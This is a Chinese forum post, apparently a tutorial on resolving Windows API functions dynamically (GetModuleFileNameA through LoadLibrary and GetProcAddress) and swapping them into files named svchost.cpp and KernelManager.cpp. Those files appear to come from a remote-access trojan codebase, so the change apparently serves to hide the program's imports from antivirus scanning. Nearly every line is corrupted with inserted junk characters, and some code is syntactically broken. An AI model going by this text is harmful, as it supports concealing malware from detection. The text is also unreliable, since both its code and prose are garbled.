[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
, J. K1 f; }( p1 O" i" [  isvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h- ]3 i! A7 Q$ a9 C; X( k
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DTDY.h：
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$ m9 o' K! b* s#if _MSC_VER>10004 ~* u$ K: k5 e
#pragma once$ L3 Y7 n' e, O3 p" ~5 }' G& m6 z) s
#endif //_MSC_VER>1000
  T& N8 I  W- D. ^#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);. V4 j+ Z. ]3 f( ~* ]& x
class DTDY
' b+ o+ E7 @' h! L$ j{
4 D  ~! t) B3 ~! ?% c1 |) i3 N0 bpublic:
7 p- R' ?* f, T* U# G& k7 MDTDY();
" n0 c0 C6 h  @$ m0 ^* M( Cvirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
2 J) z' E; v; Tstatic BOOL FunInitiallization();$ j4 e9 P/ i' O6 u! W: R4 i, E
};
. v) E) l' G. ~! q8 B#endif2 W7 H, g7 Y# Q! T9 a" q3 n% ?
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& D7 V8 h' B7 d; Q, RDTDY.cpp:
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# E( j  {. E3 G2 E: z#include "DTDY.h"
2 N# X9 L, V1 U' N% S- @7 k. {pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
; O4 s  h% w% TDTDY:TDY()( W, u+ h7 J) K9 o$ R
{
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2 C8 I, \% w! c) L, A7 |3 sDTDY::~DTDY()0 e/ E- K+ @! ?3 G1 e  N
{
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! A- s8 Y9 V1 Z5 t- oBOOL DTDY::FunInitiallization()# m' Z( t+ Q0 f8 Y# h0 [
{
1 |- X' f. o! Q# k3 lHMODULE hModule=LoadLibrary("kernel32.dll");# z0 l( E, g; r: m9 G
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");1 G$ ^1 X, U  L/ Q* k
if(!MyGetModuleFileName=) return FALSE;% }: i) f  L3 [# E5 w
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return TRUE;1 R' m3 z% i9 d' G- q
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svchost.cpp:& u4 ?, L* I9 |+ `/ z+ m
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#include "DTDY.h"
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( C9 R, w( C2 wBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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1 C# p- ^: K7 b" i  M- Rswitch(ul_reason_for_call)8 P' T- D3 {# Y1 w" S
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case DLL_PROCESS_ATTACH:
6 ~* z1 n2 B6 qif(!DTDY::FunInitiallization()) return FALSE;
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break;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def1 Q# \( C! {% L2 f$ m9 u  I
改写为6 K; B0 d" J, J! m' l+ E
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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#include "../DTDY.h"+ Q0 Q% I: b! \6 I9 F1 U) ~
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: U( U  C; l% m+ q" u& q- V. k
改写为
8 \: K* m$ r: \. E9 uDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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